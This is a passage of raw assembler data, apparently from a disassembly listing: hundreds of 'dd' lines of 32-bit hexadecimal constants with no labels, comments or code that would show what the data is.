		dd 0B9DC9A1Eh, 390158CFh, 51262433h, 47D5D8AEh,	6C4B00DDh
		dd 894090CEh, 4494FA24h, 0CB839B00h, 16F2A0C6h,	7220FC3h
		dd 99E21384h, 60BC0452h, 290706DCh, 59F6D0C6h, 465EB8B4h
		dd 177939BCh, 7D02C585h, 0E014D2F3h, 83489898h,	0DB9DD8E0h
		dd 0A03B0099h, 0E2BB0027h
		dd 6ECAC923h, 0C309E029h, 94F1FDD0h, 0E541C814h, 3F202904h
		dd 30BC98BCh, 41C4008Ch, 81BEAD21h, 0D17429F4h,	0B6AF5B02h
		dd 5944366Bh, 18F2713Ch, 0DF59013Bh, 248D5873h,	0AD71802Bh
		dd 0CADB4F33h, 0F65B0E61h, 0E54071A8h, 0C4BA87AAh, 2C561A02h
		dd 5CA7EF25h, 0F6465EA8h, 300AF39h, 35112565h, 0FC582A4Ah
		dd 492127B4h, 31BDDE94h, 0F43E3Ah, 0F0F5C63Fh, 0AB048D29h
		dd 3690E0A8h, 0B19C3200h, 515AB880h, 4C4A09B5h,	8C445DAFh
		dd 0FA09A842h, 38AFC631h, 6599A6C2h, 0B32ADCC0h, 82AC9A4Ch
		dd 41CF67DAh, 4C23F8C9h, 0EB30F0A2h, 939D1DE5h,	0A815C2AFh
		dd 988B3425h, 0F411AC9Dh, 852E3080h, 0E5FA76BDh, 9FF0FE27h
		dd 80BB1140h, 474E553Fh, 0A0930175h, 7B5DA422h,	0C44B2E5Ah
		dd 2B844830h, 2F9C4AD5h, 1312304h, 4E0F4EDh, 0E8202FF8h
		dd 5C02D257h, 99D808A0h, 282E9729h, 0FA44184Ch,	0E8A0E890h
		dd 596960BEh, 0E5A9BA6h, 39896C09h, 111C9F3Bh, 24EB87F3h
		dd 61B4017Bh, 18207BCCh, 0F87C8A52h, 163D9940h,	0C260059h
		dd 87E3E118h, 0F400FADDh, 0D4EFB46h, 0F1E8D2h, 6B2A01E6h
		dd 7ED9B127h, 9AA12C00h, 1DD02B23h, 74A0E44Ch, 0F81E0025h
		dd 151F245Ch, 510026C1h, 2C3F09F0h, 0E4C3DA0h, 4BC2611Ch
		dd 3CEAE420h, 0EB7D041Bh, 0C3237300h, 0C587903Fh, 296B6656h
		dd 18802143h, 49C9C873h, 9EC682D0h, 2B64089h, 0C5DA168Ch
		dd 81DCDBDBh, 0B5607475h, 7C6ECCh, 39D5C46Dh, 34233F6h
		dd 90A69D05h, 0F4DCBE3Bh, 0F0FD55BFh, 0BEE52447h, 5AEDEC28h
		dd 23F83BA3h, 639A0035h, 3F7B5447h, 4BC32815h, 0C72100E0h
		dd 8A20395Dh, 8B3D0084h, 35BFCBE7h, 90BC483h, 19FAD03Ah
		dd 34188D18h, 2976FE0Bh, 8188C536h, 9AFE2CE3h, 164830F3h
		dd 1398FC48h, 5CA3CECCh, 0A23032B2h, 0CA102C6h,	0FF45A8C4h
		dd 2F6A080h, 0E49428D8h, 8F2B7A00h, 9D750589h, 5311EC9Dh
		dd 0E3E4A980h, 8B581D30h, 3F9021Ch, 5CBB3D1Ch, 41A00FF0h
		dd 3ADAC31Ch, 0F100B104h, 0CB4A278h, 0C07F3977h, 84ECB60Eh
		dd 8E00B9F1h, 419936C5h, 3592CE7h, 3715DA8Bh, 44E28667h
		dd 0D60C56h, 0CE93E2ACh, 89C64B36h, 0A16E7901h,	0F0D998A6h
		dd 18527876h, 2B3033E2h, 6647374h, 7F361A30h, 0F0F2F86Ch
		dd 0D2596960h, 25C06589h, 0CC22CB4Ch, 6201666Bh, 5078DFC1h
		dd 8C32F8h, 2BCCE20Ah, 1FEA0EBCh, 6FEE90ECh, 28048C4Eh
		dd 0D8E8DDBDh, 128CEFE8h, 8EDFED78h, 98EE00F8h,	3E65CD9Eh
		dd 0FB930041h, 0BEDF611Ah, 86035B75h, 433DA66Ch, 8BE90060h
		dd 4ECF5F3Bh, 6638BD95h, 0BC9F29C0h, 0FF1838F1h, 4E0F0790h
		dd 0E0CD45D8h, 63AF233Fh, 0C3A1DF3Ch, 3B9226A4h, 47B922h
		dd 1D58A34Ch, 0F3CC6A33h, 0F0EFB601h, 0B3049B70h, 995024h
		dd 20025F87h, 6AEE7BEAh, 7D80DF00h, 97A06EB2h, 4A501809h
		dd 11B919Eh, 107E4C90h,	0A8958F24h, 0B9D04382h,	9FBC40F5h
		dd 3244E6Fh, 9BCCF998h,	0F0B1B0B0h, 3701F892h, 2BF3F1E9h
		dd 92B8497h, 288B395Ch,	0BA11409Fh, 1924A380h, 0D6F63279h
		dd 3D25B0F8h, 8FA0A507h, 0FE362820h, 46292678h,	2EE57050h
		dd 2C03FE0Eh, 0A04E0C97h, 80D49423h, 408E54E0h,	9C04311Bh
		dd 740B0EF9h, 1A9CCC0h,	6364840Ch, 58A90431h, 0DB50075h
		dd 1FA59065h, 0EB007E5Ah, 0CCF80B20h, 1350CE8Bh, 3A3F6F63h
		dd 0BB23A8h, 0ABEC2657h, 458FDEAh, 675D0B94h, 0A854C85Ah
		dd 561A80C8h, 3F01A4B9h, 65A412BCh, 0C559841h, 1A5B0600h
		dd 1899A078h, 0EE590056h, 6D6095B9h, 1304C521h,	960D6BF7h
		dd 61E320C1h, 30F8A184h, 5D9E01CCh, 18814A9Bh, 0F19F49DBh
		dd 843B6FD9h, 8B09B523h, 4048822Ch, 0B8E105BEh,	8C57ECF0h
		dd 0CABC470Fh, 0BAAC40B8h, 3E7A358Eh, 64205D3Eh, 0E8C0A00Dh
		dd 39AC68C2h, 835D0BB8h, 0E6FA8870h, 0A5180E64h, 50B82CACh
		dd 26E008Ch, 0E6AD20F6h, 444C61A6h, 8CF5BC74h, 0AFF31A00h
		dd 69554389h, 4D3068Ch,	0B8A724F8h, 1B81CBECh, 6F43EEF4h
		dd 414C994h, 862316AAh,	87D4B0h, 6F7CA7D2h, 5D6A95D0h
		dd 5984E500h, 426DF24Ch, 5A180035h, 2905532Eh, 0C800D06Eh
		dd 0B5BD9314h, 0A8A601h, 92AFECA0h, 0BA97228Ah,	390F6E00h
		dd 6AE89634h, 5F03003Ch, 0F377CEDBh, 810EBAC6h,	0E04C58DDh
		dd 78DFEB6Eh, 588C6EF5h, 0ECF6ACE0h, 0E23C6038h, 0F8E9A87Bh
		dd 0FADB83Ch, 0A0DEBAF8h, 0F509A558h, 1C12985Fh, 802CD038h
		dd 659A63CBh, 3DEC3C60h, 4A2E2600h, 7C34121Eh, 419D0038h
		dd 0E7625B1h, 0D1E40D08h, 44DD1300h, 4C1B64B2h,	0C4E8049Bh
		dd 804A8791h, 0C0136E28h, 19983C00h, 41D0AC0Fh,	0D8EA0568h
		dd 40DD1182h, 0CE2705A8h, 883AEDF7h, 8AC28634h,	1585F5Dh
		dd 0DD36E51Ah, 0C49470FBh, 2D00638Eh, 2529E728h, 72A813h
		dd 8DB75BC3h, 1B01036Ah, 0F855EC00h, 0B990E96Ch, 60E70021h
		dd 0D73E4371h, 0DB00EAACh, 0A5E69C1Fh, 1253EBC9h, 1ADBE9Dh
		dd 631CA0DAh, 8E188703h, 21C3584Fh, 0CB3FB9C0h,	0D8D7C0h
		dd 0C11E7EBCh, 0AD60C78Bh, 0C5FDF000h, 0B2432321h, 69200055h
		dd 0BF1FEE5Fh, 81642ABh, 24C07254h, 15CCDA0h, 0F27E2982h
		dd 0E0B86AF8h, 2025567h, 0FE81934Dh, 0F6E4A083h, 16250586h
		dd 0F07F8Eh, 7E31982Fh,	0C700271Bh, 0A6B89613h,	76C1CD50h
		dd 0AC5B0059h, 3D42BF44h, 41E4E556h, 2B30DA75h,	580ED080h
		dd 29B004Eh, 0DF1551EEh, 437ECA32h, 0FAC31C1Fh,	8F42A240h
		dd 0D8380Eh, 0BB2D3C85h, 0D9886658h, 0D701DCF4h, 0E56567C5h
		dd 74EC9E1Eh, 699400F2h, 0FB7EE35Ch, 160052EEh,	0C4BAE092h
		dd 0B4B30E5h, 530374A7h, 50AA60C1h, 0D2390B34h,	0FFC41F0Ah
		dd 0FB008054h, 0DD7935E9h, 9C2700D3h, 2FBB663Bh, 4B09F7B0h
		dd 2044E4C1h, 5862C000h, 0BC23008Dh, 0BEFCE6B1h, 355810E0h
		dd 0E9510030h, 7DE5EA22h, 767B0098h, 73B4B769h,	20004DA9h
		dd 3A772A2Eh, 1EA1121Ch, 28087293h, 5A3510D4h, 5C90003Bh
		dd 0D430D17Ch, 5FBD00CFh, 0A161C9D5h, 0B9E78764h, 0D8060089h
		dd 16A86BD3h, 19EF6039h, 7682B815h, 578D970Eh, 2171A4AEh
		dd 0D1061080h, 0DE4C0A4Dh, 3F6E391h, 651878CEh,	3DAE0DF8h
		dd 740AF476h, 0DC4F90F1h, 0E0F2A800h, 3DF887D0h, 29065507h
		dd 21730F92h, 210C63Eh,	0F2FA5453h, 30444Dh, 0C68E6F3h
		dd 43C7D188h, 2C3B49h, 848B35FFh, 716D5140h, 0F827BF13h
		dd 0A3604007h, 0FB009BF4h, 70F54F9Eh, 6CCF36EDh, 340064Bh
		dd 893B4D00h, 1951F1FEh, 0A6DE0C95h, 36E0EF40h,	0F2520100h
		dd 84E4623Eh, 49D644D1h, 80AC0B01h, 647DAD30h, 0CBD2D8h
		dd 9DB5CC59h, 0B8DEA6DDh, 706DC201h, 661F62E6h,	85641A00h
		dd 0B90086E0h, 9C538F0Bh, 0F6F4094h, 3CBFA49Ah,	36C173E0h
		dd 4D042D29h, 7F27421Fh, 0A0DD0683h, 11F0FCh, 58774F1Ah
		dd 0DF162249h, 15750813h, 8139B509h, 0EFCBDCBBh, 38BB13D9h
		dd 8B386D00h, 1D21DF23h, 74FFE518h, 0B8AD330h, 0B20509BBh
		dd 24DE3E80h, 0B1040E20h, 0A066CE7Bh, 11F8A0C0h, 0EBF203F7h
		dd 7AD5AC79h, 0C435CBC9h, 5C12D995h, 788024E8h,	3E2DBB43h
		dd 7A00DD8Fh, 59ED10BCh, 2707B207h, 34F75F4Ah, 50AC5E10h
		dd 0D3BE0073h, 20758754h, 0C50025DCh, 0AFB79311h, 6D70FCh
		dd 7D5CE93Eh, 5E87426h,	0D308B500h, 9410C424h, 87E00760h
		dd 7F464D52h, 7AD0E9A0h
		dd 0B0002231h, 0C4A3AF49h, 3E1448F2h, 823FA02Eh, 6F873D8Bh
		dd 60CCEE02h, 20CE1448h, 8C28EF28h, 32FCE150h, 5409967Fh
		dd 31869EDh, 90226B14h,	42BB661h, 93F0211Eh, 0CD74C02Fh
		dd 5B09B9CBh, 0D7512Eh,	49FCAD98h, 892200BEh, 0D3F9A7DEh
		dd 1404E79Dh, 0F7AC07BBh, 0F20310D1h, 0C0C887F0h, 0EC28989h
		dd 0AA00B492h, 3394955h, 208E95h, 57EBAE1Dh, 0AD6499F7h
		dd 0D4E5F1C1h, 1EE1237Eh, 642054D5h, 0E6040090h, 0F0EE79CDh
		dd 0B0180BB7h, 4820200Eh, 6E2D3DE1h, 0DE30E97Eh, 83B93F08h
		dd 62F8AE0Eh, 0B62809B6h, 4B1D5D80h, 0A7ADD14h,	6C001490h
		dd 24788037h, 46DD493h,	0D55330BBh, 2F308075h, 0A40046D2h
		dd 0E362BE13h, 5CA9BDh,	0AF4BB017h, 0C7E598F8h,	71238A06h
		dd 0F21AE15h, 19416D4Ch, 51C0118Fh, 0D2B0339Ah,	0FB70A203h
		dd 0A0A7B167h, 16FFE9B3h, 21D19620h, 80AA2830h,	0C2D31440h
		dd 7AA4C1EBh, 4398006Fh, 0E2CFDBB8h, 350044E0h,	20AEACD8h
		dd 11E29ECh, 197182E6h,	0CDBEF4BAh, 0A451FC52h,	3BD63C01h
		dd 3D44C82Fh, 90F39EECh, 175300B4h, 4ED232E1h, 7A3FE5A0h
		dd 1F989272h, 0B6064800h, 0F7C209h, 501B25CDh, 0CE6C2966h
		dd 6812C62Ch, 7004C2Ch,	3079E949h, 4AAF0021h, 759A01AEh
		dd 0A02C9398h, 0FB80A4DCh, 56C1FFFCh, 51B901BEh, 0E34B50ADh
		dd 76DEC81Fh, 73788D02h, 610C090Bh, 9BC85D6Ch, 31CE0233h
		dd 0C83CC42Ch, 5EB31CE0h, 0A50F593Ah, 0A4F8E827h, 8DFD3AACh
		dd 0FE28833Eh, 8B9E010Ch, 0C437C1DEh, 0D147C935h, 21FCD82Ah
		dd 0A4C09B4Ah, 3F04BDD9h, 0FAF960A5h, 36F7D62h,	193E445Dh
		dd 64805ACCh, 9900ADFEh, 0FA3185ECh, 0E87AB4Fh,	0BF8F9CB6h
		dd 0DB2998A0h, 0F4317A37h, 9E214064h, 0A4913040h, 0F32A188Fh
		dd 901C9923h, 98736338h, 0FE30D8FFh, 0A1FEC5Ch,	785F0E9Fh
		dd 8C234020h, 3A3DD597h, 11488179h, 7C924649h, 0E825CCh
		dd 60E3B042h, 0AF26B2F3h, 65001EF0h, 0DFAD1BD9h, 9994Fh
		dd 8B86DEE2h, 0D8A70CD3h, 64F2D407h, 7767CB96h,	6CE91A30h
		dd 57E20026h, 4EB48962h, 3A007458h, 9E75866Eh, 19B62Eh
		dd 4D65D39Ah, 485C24E1h, 0A77D4200h, 75593D58h,	4A34005Fh
		dd 27DED656h, 0D0E0195h, 0A4657DDBh, 7783B379h,	0DF90AF5Ch
		dd 1CAB47D2h, 4498592Fh, 805A4C34h, 4B63154Dh, 62820F00h
		dd 91FD6F21h, 6AE2B3h, 7CB4307Bh, 46FA1DA6h, 0A6806828h
		dd 0C8043D12h, 43EF487h, 1CB2597Ah, 845F04B8h, 0C1F3640Eh
		dd 32DB43F0h, 4C931E4h,	0B820CD45h, 0A2928152h,	0BFF5C85Ah
		dd 6F715705h, 0EC90E93Ch, 8D4AD6h, 0B535C114h, 5E6AAAFEh
		dd 76482678h, 30B60FD4h, 0C03CE032h, 447D5B4h, 0CB28612Eh
		dd 931CA0D6h, 0F74DEE01h, 0E64EA23Fh, 17F5FD20h, 14119A6h
		dd 76F7B68h, 0FE2AC804h, 53ECDC41h, 9BFB0E59h, 51A0083Eh
		dd 0E343FF9Eh, 49A53000h, 0E291C772h, 7994007Ah, 0F020C74h
		dd 0B200240Ah, 30330D64h, 5FF704h, 6AE2EF1Bh, 0A46E55B1h
		dd 8C0EEC98h, 8F991D7Ah, 652E80B6h, 0F54A3Fh, 0DE0C6CE8h
		dd 12875D1h, 7926B0F6h,	4801BDE7h, 188F8109h, 7D66F02Fh
		dd 0BB222000h, 4DEDC090h, 9BDC006Eh, 91157755h,	940241CAh
		dd 7D0285E5h, 0BD2CE075h, 82F0E9F3h, 2284B8F6h,	0D3546ED1h
		dd 5402BBA0h, 0BEF609A1h, 0B2D88028h, 562194Eh,	9A77A502h
		dd 79F8D08Ch, 0CE903A08h, 547C0F75h, 0E780F894h, 30D3825Bh
		dd 0BD1D00D4h, 0E35D8F09h, 3D25497Eh, 673020D5h, 757DD7E4h
		dd 2AF3072Ch, 0E0E682AAh, 69531E28h, 0D50071F8h, 0BF7B19CDh
		dd 5C12B7h, 7275277Ch, 0A9CB47F4h, 5DB35203h, 0D076CDDAh
		dd 58E05C68h, 0E500F87Fh, 77DFE420h, 6B007895h,	0FE0B8ED3h
		dd 0DB2347h, 143EA710h,	9E5AA108h, 0D3C9EF00h, 0F649627Eh
		dd 336C0069h, 0C3F8F581h, 0DD1EEA6Dh, 0CF400565h, 41D3F3A9h
		dd 74A70B31h, 0C44AFBF2h, 0EDD51680h, 0E503A4C3h, 2E33694Dh
		dd 0C5CAF8C6h, 9F6C04DEh, 80ED8DC8h, 55D99954h,	6A0E4807h
		dd 234F34E6h, 3E96DC39h, 0DA205758h, 0FAFE20h, 68060583h
		dd 0EAF62BC7h, 8D82C0F1h, 1B7ECA0h, 0C04BF800h,	0F6DF8A1Fh
		dd 6C20FD2Ch, 64F0F19Eh, 0A038902Dh, 0B16B44h, 0F34658F6h
		dd 63073C75h, 2402DF15h, 769903ECh, 7BD6B48h, 0B3EA4711h
		dd 0A9C5A7AFh, 0C67C8840h, 5DB85E01h, 499D7958h, 82CEE680h
		dd 0BBBAB0D6h, 9BD1F700h, 9CC17A87h, 92D8126Fh,	8B14081Ah
		dd 7F5BE640h, 0D62A01D4h, 8D0BBF1Fh, 1FB423B1h,	7640702Fh
		dd 0E28BDA24h, 44400006h, 2EE5AF91h, 0F4F6990Ah, 0F01C5C03h
		dd 0E0701B42h, 0B89E6208h, 45A30038h, 0D89AB5C2h, 403404Dh
		dd 1F29E064h, 9A2B8CCh,	0C7D3055Eh, 0C7FF588Fh,	3BEAD060h
		dd 11C0E203h, 27D9A7F1h, 1A2501E3h, 7E5B4CB3h, 5A6181AAh
		dd 0B0C2C6FDh, 222FD4h,	0B4C14529h, 0A753D79Bh,	370C8107h
		dd 8718F32Bh, 0A09F4E83h, 978936D3h, 8980923Dh,	5E78FEE1h
		dd 9B8100F8h, 313EC8B2h, 2A581217h, 3C0481Eh, 23AEBA14h
		dd 97ED00C6h, 8A3D9D54h, 0A230DA0Bh, 0FD322144h, 8B3E0046h
		dd 1CD0300Eh, 620CC280h, 9EB7C610h, 0A5970044h,	0E1B98483h
		dd 0D49AA10Ch, 0B59B8F01h, 0A8603DC7h, 5C005028h, 0F252F0A9h
		dd 0C0039294h, 9C83E6D7h, 3C1990FAh, 28BD64ECh,	67E890D0h
		dd 640069A6h, 8AE12EA0h, 29ACB1h, 7AC46072h, 61A758EBh
		dd 0AA1D5509h, 0CD2C801Eh, 10BA442h, 35A62A60h,	2EDA7852h
		dd 1DFCC080h, 0AA0E0096h, 934ACE92h, 980082B4h,	0A402E41Ch
		dd 274B244h, 2B7E883Fh,	6468B814h, 0E4BA2116h, 6A760FDh
		dd 2B18CF19h, 0A5F05E70h, 67B800B9h, 4F853087h,	0DC018E98h
		dd 0D3BC507Fh, 0E6E4AA54h, 0F5F4A05Ah, 0CACE8834h, 619C6200h
		dd 4BC64CB4h, 0D40E1446h, 0FF0BEC57h, 8EFFA7B5h, 0CF5300B1h
		dd 9A37B3h, 0BED086F3h,	0BF52D660h, 9472012Eh, 8D3A6700h
		dd 7B389084h, 0CA5609BAh, 0B403960Eh, 0DDDBEBFDh, 5CA96CF8h
		dd 0B9647600h, 4723212Eh, 340C1319h, 36C8D0D9h,	0A601CF59h
		dd 0D8353C0Ah, 0CC349DA2h, 0F09B03C2h, 0CF15964h, 7C0941A8h
		dd 0C9C08F00h, 52BAC5FBh, 4F5402B1h, 0BEBBE83Dh, 9E088051h
		dd 0A3D80E77h, 35D036C0h, 0DA7F2088h, 3AB41A38h, 0D7DD80A5h
		dd 74CADC54h, 88890019h, 84AA8EC2h, 0B900390Fh,	0C323AF02h
		dd 0E996C96h, 0A1258294h, 2BB5BA80h, 0EE00201Eh, 0DB3898ADh
		dd 96F6A4h, 58909C27h, 0F403238Fh, 4B2E800h, 8794A8DFh
		dd 7CA900CCh, 6691D46Fh, 7B16FE59h, 4B460F8h, 1FFC7807h
		dd 119F231h, 0C2AD02BAh, 0BA9828C4h, 768F2D02h,	7C519D21h
		dd 57200610h, 4661417Dh, 0C41FC318h, 0CF3756E0h, 2C004F11h
		dd 5DDFD4F6h, 839C7C07h, 1290A8BCh, 0C023269Bh,	3522DC58h
		dd 730C8DE1h, 38C62DFBh, 40FF4A5Ah, 90C83C8h, 290B1B3Bh
		dd 72D65EF6h, 0CCA10450h, 0A0FB1EC4h, 6224F1A0h, 0E8255A1Ch
		dd 4FC5C24h, 5EE6271Fh,	7394A077h, 42340h, 1A36CB81h, 147C5015h
		dd 0DC825A2Ch, 4386F500h, 1D793E65h, 89CFD3B0h,	0E002210h
		dd 0F268FB3Ah, 0C44C9507h, 0B0E0B28Eh, 981E8F0Eh, 275600FBh
		dd 2E80D1F5h, 0B109F8A7h, 802B5F87h, 69D9896Ch,	252D7944h
		dd 0A4722E9Ch, 7AFD7F03h, 0E6886Bh, 0A28F64B9h,	45A9A452h
		dd 0A8C6F001h, 0C4355B92h, 18A8B444h, 0E8CF4BCh, 0EA3BBCFEh
		dd 342704C0h
		dd 414461AFh, 0E9B82F45h, 0C595C4ECh, 61536478h, 37C4F041h
		dd 4CE1581h, 4F00D4AEh,	0E1CCE013h, 7E007DBBh, 4DF46CB6h
		dd 0B5A5D2CEh, 0FA813C37h, 0D3B957ECh, 0A914A840h, 0E0009575h
		dd 9E4899B5h, 0EDDF602Fh, 0B6FBC3D0h, 0ACD2E9B8h, 64F07F2Fh
		dd 58F58C8h, 0CF554E00h, 87973133h, 3A0F27F2h, 9D601452h
		dd 5EDE2AC7h, 4BB55733h, 82389BE0h, 0C296D1C0h,	863C7E89h
		dd 1134972Bh, 81B0390Ah, 4D27D8F7h, 1A24C008h, 4500602Ch
		dd 0A85E0A65h, 9510402Dh, 18EAB420h, 0EC5239F4h, 30B7E260h
		dd 7758E29Ah, 0C7551278h, 255CA8E0h, 70E030F8h,	5E27AF1Ch
		dd 0A3D869B0h, 99063041h, 5A0A8F70h, 0C8B88BDCh, 149FC04Fh
		dd 209525A4h, 0D19B2974h, 13651D52h, 9D0E87Ch, 47572DA4h
		dd 42580DAh, 0D9F471BEh, 0CC1837h, 838A422Fh, 9255ABA9h
		dd 0E0412A79h, 0D070C12Eh, 0FC0401A5h, 0B588F424h, 0BC36F8A0h
		dd 684C8408h, 0A89B4A34h, 0BF136080h, 39004B76h, 979CB877h
		dd 4641240h, 28D80CD6h,	25A801A9h, 6200F751h, 0CA63D0C8h
		dd 0D85FAB18h, 30B6997h, 66D8B2Ah, 0D1B03565h, 1D60C7E8h
		dd 34017BF1h, 8BAB4B93h, 0C0BCC854h, 89A1E7A4h,	0E3AB4700h
		dd 76D173C1h, 6C444878h, 0D61A9E05h, 0D6ACE9D9h, 38432B00h
		dd 126F79Ah, 0B00E6E8Ch, 7B7A1398h, 0C403F062h,	0ACEC0310h
		dd 0ED34C962h, 0E8897BF8h, 54F259C0h, 0C6AF42h,	76FBCF7Dh
		dd 0DAAD9D72h, 0BCC8775Eh, 4FA400E0h, 3BF03187h, 0DA03190Bh
		dd 3501A184h, 819E5B3Ah, 80EB8910h, 0CEB6E059h,	980DE0Bh
		dd 0CB9D311Eh, 6DDF1980h, 0C81E5CE7h, 0D6429CA1h, 0DE9F853Ch
		dd 0F5465EE0h, 400E004Ch, 6407741h, 4916258h, 0CF561A0Bh
		dd 0D994D153h, 7818F5h,	2AECC0Dh, 5D42B377h, 0E6BC4000h
		dd 0B03A1014h, 0C1ED5ABDh, 33BF314h, 82F0B898h,	3BEA78F8h
		dd 3AA896A3h, 8B2000E4h, 0DAACBE95h, 0B1F9D7Fh,	4A84DC34h
		dd 7C919A9Eh, 0D1E0B42Bh, 5424F868h, 0A1E029h, 0F2ABE3A5h
		dd 0F37C2128h, 85F73E00h, 0D064E0DDh, 0C5B65BC0h, 8338EC74h
		dd 152FC6E8h, 0E0B00441h, 791DCA00h, 80A5AA69h,	66F5CB26h
		dd 27E2EA01h, 5AC8A661h, 903F5F02h, 5BBB3D38h, 13F3C688h
		dd 41DD106h, 957F724h, 3D770104h, 108B51DBh, 40F21464h
		dd 44CA1C22h, 2F09F6ABh, 5479A0C4h, 34FF0748h, 0A87C89C6h
		dd 35085F41h, 80109A03h, 62064B2Fh, 0E9C854D0h,	88E9237Fh
		dd 1D69FB20h, 0A91B425Ch, 0A07EA076h, 0E5A86B05h, 0DB3EE4ACh
		dd 41ADB4D0h, 80689DD9h, 56232A20h, 0A9D20E94h,	0C10CC864h
		dd 3D1A2468h, 0F6615A17h, 0C5F9140h, 0B961D8C5h, 207F1023h
		dd 4438023Bh, 1058BF25h, 1E80B494h, 0A857545Dh,	493B60C2h
		dd 0E3C5D0C7h, 59220F27h, 0F36400ACh, 7265587h,	51B80200h
		dd 10F0CFFCh, 66E8241Ah, 0A0452D94h, 426038E4h,	2A0090C4h
		dd 0E61B446Eh, 90116EDh, 0A234BFFDh, 5320F8DAh,	743A4850h
		dd 0BD9F509h, 8178C4D3h, 0D9E36388h, 25F0B6FDh,	6801BE3Dh
		dd 0A8C46A11h, 608BE2B1h, 148C92FBh, 0C0B83DB0h, 27BF441h
		dd 172D2444h, 0A1D53448h, 87D8D605h, 4C2EDB66h,	250BB923h
		dd 789601A5h, 0C8489415h, 436BF33h, 34718499h, 543FBD18h
		dd 0D5459292h, 0F0F2F016h, 73304FF2h, 1811BF75h, 934EE5AFh
		dd 14202321h, 1310C5h, 0DC9A5B2Bh, 841558DEh, 0D56CBF10h
		dd 30BB4174h, 0D6121184h, 7805B7D4h, 0B4E8CD70h, 7D8C32ECh
		dd 17A42F1Ah, 5C6928C5h, 0ECEA095Ch, 3DCFCDEh, 93A82E19h
		dd 0D0B8AA37h, 9703C25Bh, 0F85D0708h, 90E141E0h, 0CB159BE1h
		dd 0C054C8DCh, 0AC82BD5Bh, 6A2A5809h, 2CCCF295h, 60889AD9h
		dd 32854CF4h, 7C00503h,	0A08955FCh, 0C0EC8A13h,	25BB68B9h
		dd 7200440Eh, 0EA1C9694h, 3DF22Eh, 2410E0A5h, 672D7CD1h
		dd 80684525h, 29E6D680h, 53FC3D3Ah, 3B28CDDAh, 0A42F4C04h
		dd 35997202h, 7A11091h,	7410A4D8h, 0BA1D3146h, 0F85CC2C6h
		dd 5C68BD54h, 0F9655FAFh, 0C0F42349h, 2E8D00DCh, 3FD72C6Ch
		dd 21027B53h, 1B821EA9h, 238FC08h, 0B530C063h, 0C7252218h
		dd 20CAB341h, 4655188Bh, 27546C16h, 4B06B000h, 0A2A95E0h
		dd 0E445B45Fh, 1C9F08E8h, 5CFFC51Ch, 81E68834h,	0BECA1257h
		dd 65A7C86Dh, 28A2FC3Dh, 9C9688DBh, 15F818Bh, 0A7254EAEh
		dd 8C7C036Ah, 0FE846B92h, 6AC95820h, 4BD61F7Dh,	8D2ACB5Fh
		dd 9333F880h, 0BD255773h, 0A7CC709Ch, 604E442Ch, 4CA6A19Fh
		dd 0DB4EE099h, 9B9980C8h, 122F44A3h, 8073551Ch,	0F0B441D8h
		dd 8B6C1F01h, 950AAF6Dh, 5DE21F8h, 78CEA15Eh, 7F9881A8h
		dd 70756F3Bh, 0A2B8F0FDh, 228C6600h, 17C394E5h,	21246023h
		dd 1BC4F13Dh, 0D4C5C802h, 0FC89C709h, 0B080B820h, 9E0BAC67h
		dd 9D00C061h, 0E1D0FF69h, 1D36E51h, 0FB5EA07Bh,	81272439h
		dd 0D6029B51h, 75D0B4CAh, 53AB09D3h, 0CC5C2099h, 0A0BABC40h
		dd 5B8B0BDBh, 0F0097CF8h, 0E5956CFAh, 6053E478h, 2DB6E33h
		dd 0A48493C9h, 3CC8375Dh, 1C4C08C2h, 8C52F82Ch,	77784F1Eh
		dd 4E39B97h, 0F45EC90Bh, 127B4D8h, 0B7EC291Bh, 0B01280B8h
		dd 55A61A98h, 0B885305Eh, 0D9B810BDh, 0C4099779h, 44466C73h
		dd 0D8BD0024h, 5894C982h, 16004A91h, 696FE034h,	24A60B35h
		dd 0A44C7725h, 0FD07DEF4h, 3DEF62C2h, 2BB56AD0h, 822FE197h
		dd 3360C3E4h, 22696466h, 41083210h, 0B8513D54h,	7EF0F1h
		dd 0D84CD634h, 0D10C401Ah, 3833E496h, 2B8100D0h, 5E7B8BD4h
		dd 257AE036h, 0E8C6E82Fh, 0F0E2D3F8h, 18B0BB9h,	387BA570h
		dd 7AE358h, 0AC8517F8h,	3CDF3D4Ch, 6D6C4897h, 0BCAE588Ah
		dd 28C34ECh, 0A4C63C83h, 14FC263Dh, 1AF0F970h, 41A63564h
		dd 0B5BC905Dh, 0E8F17C82h, 0FBC4002Ch, 8DE2A9BBh, 0C604AC23h
		dd 3B64FC14h, 0D4B421FAh, 0E434F033h, 0C0694005h, 0DC5C6380h
		dd 27C0FA9Fh, 6B9CA132h, 0CDF85E09h, 148C3AF4h,	0B1210081h
		dd 40304636h, 0F000F3C6h, 0AAD3F63Fh, 5AD8C469h, 9F60C0DDh
		dd 4650506Fh, 0A85849D4h, 0E28986B8h, 1FCAF4E9h, 8161344Dh
		dd 0D864BFBEh, 7C007468h, 6521532Fh, 0DC14AEB0h, 39018BF6h
		dd 3054D33Eh, 0D18BA24Ah, 940BFF1Bh, 3CB2B052h,	4FF26543h
		dd 174D3130h, 0A0F755A4h, 4A279048h, 0F018A004h, 2F2C4709h
		dd 94651DA0h, 4221EC9Dh, 84F66B71h, 3BA4402Fh, 0EA8800DCh
		dd 0DBB15F6Ah, 0E9E97F3Ah, 94317B92h, 299A8AF5h, 18032162h
		dd 49094392h, 78EAA44Bh, 224E02FCh, 0FB64A106h,	354428C7h
		dd 0B0890B60h, 87F19F3Bh, 80209534h, 6EFFECC4h,	0E81C0B28h
		dd 1E51F65Ah, 0C63B41CDh, 21F9C9B8h, 88C2B08h, 252A183Dh
		dd 0C06261BDh, 2AB7B1E0h, 0D9406464h, 4A709F49h, 0B20CF3DDh
		dd 596630BCh, 0E7349400h, 0A5502A02h, 0D018B79Ch, 7F4E2DA4h
		dd 0A8A36817h, 2FB59C50h, 8062A08Dh, 55E46C67h,	7A903E60h
		dd 1FEEED04h, 9C81B8C8h, 0BA04B028h, 0DB6EE80Bh, 94A484h
		dd 60D6D1D3h, 3B4C9812h, 0B134122Ch, 99B834ADh,	6CBEA830h
		dd 4C2845D0h, 817F02Ch,	0D324A249h, 0BCAC64A8h,	4EF6008Ch
		dd 180C031Ah, 8B7B7C09h, 31387718h, 1A69060h, 0B03A397Fh
		dd 4B0C0B45h, 0C1BDC834h, 701DC876h, 0FC04F2A9h, 39CDE143h
		dd 0C49D3483h, 3C76C903h, 0C89BD92Ch, 0CE2E2811h, 4D10C00h
		dd 772E2B80h, 9A8B00C8h, 5CEC843Eh, 2FF9BCF4h, 0BC6C6301h
		dd 46564496h, 83730338h
